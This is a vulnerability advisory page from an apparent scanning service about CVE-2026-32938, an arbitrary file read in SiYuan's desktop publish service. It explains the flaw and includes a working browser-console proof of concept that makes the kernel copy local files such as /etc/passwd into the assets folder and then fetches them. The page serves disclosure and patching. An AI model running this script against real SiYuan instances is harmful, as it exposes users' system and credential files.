CVE-2026-32938 — SiYuan Vulnerable to Arbitrary File Read in...
SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.65%). Schedule for your next planned update.
Does your project use an affected github.com/siyuan-note/siyuan/kernel version?
Paste your go.sum to check it for CVE-2026-32938 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
In SiYuan, /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.
Details
1. Arbitrary local files copied into workspace
- Endpoint:
POST /api/lute/html2BlockDOM, protected only bymodel.CheckAuth; publish read-only role is not restricted. - Behavior: On desktop (
util.ContainerStd == model.Conf.System.Container), local absolute paths from<a href="file://...">in the HTML are copied to{DataDir}/assets/. - Missing check: The code does not call
util.IsSensitivePath(localPath)before copying, so any readable file (e.g./etc/passwd,~/.ssh/id_rsa) can be copied into assets.
2. Direct access to assets via GET
- Endpoint:
GET /assets/*path(kernel/server/serve.go), protected only bymodel.CheckAuth; no publish-scope or admin check. - Behavior: The path is resolved with
model.GetAssetAbsPath("assets" + path)and the file is served withhttp.ServeFile; any authenticated request (including publish visitors) can access existing asset files. - Attack chain: The visitor calls html2BlockDOM to copy a sensitive file into
data/assets/, extractsdata-href="assets/xxx"from the returned DOM, then requestsGET /assets/xxxto retrieve the file content.
PoC
// Run in the browser devtools console while on the SiYuan publish service
(async () => {
try {
// Paths below fall under util.IsSensitivePath prefixes (/etc, c:\windows\system32)
const sensitiveFiles = [
'file:///etc/passwd',
'file:///etc/group',
'file:///C:/Windows/System32/drivers/etc/hosts',
'file:///C:/Windows/System32/drivers/etc/services',
];
const dom = '<p>' + sensitiveFiles.map(f => `<a href="${f}">x</a>`).join(' ') + '</p>';
const r1 = await fetch('/api/lute/html2BlockDOM', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ dom }),
credentials: 'same-origin',
});
const { data } = await r1.json();
const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]);
for (const p of paths) {
const r2 = await fetch('/' + p, { credentials: 'same-origin' });
if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text()));
}
} catch (_) {}
})();
Impact
With only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.
Advisory Timeline
- First published March 17, 2026 (254 days ago).
- Last revised March 30, 2026 — 13 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/siyuan-note/siyuan/kernel Go · Affected: All versions | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H
References
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fq2j-j8hc-8vw8WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-32938ADVISORY
- https://github.com/siyuan-note/siyuan/commit/294b8b429dea152cd1df522cddf406054c1619adWEB
- https://github.com/siyuan-note/siyuanPACKAGE
- https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1WEB
Frequently Asked Questions
- What is CVE-2026-32938?
- SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
- How do I check if my project is affected by CVE-2026-32938?
- CVE-2026-32938 affects github.com/siyuan-note/siyuan/kernel. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-32938 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 45.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-34449CRITICAL
SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection
- CVE-2026-25539CRITICAL
SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE
- CVE-2026-69083CRITICAL
SiYuan: Unauthenticated SQL execution and REGEXP injection via fullTextSearchAssetContent (publish mode): reader-reachable raw SQL (method 2) and unescaped REGEXP (method 3) on read-write asset-content DB
- CVE-2026-68587HIGH
SiYuan: Full-content disclosure of publish-disabled documents via getHeading*Transaction endpoints (publish mode): reader-reachable rendered DOM with no publish-access check
- CVE-2026-68584HIGH
SiYuan: Anonymous publish-password authentication bypass via getHeadingChildrenDOM / getHeading*Transaction / getBacklinkDoc (publish mode)
- CVE-2026-66394HIGH
SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass
- CVE-2026-73608HIGH
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
- CVE-2026-34585HIGH
SiYuan Desktop: Stored XSS in imported .sy.zip content leads to arbitrary command execution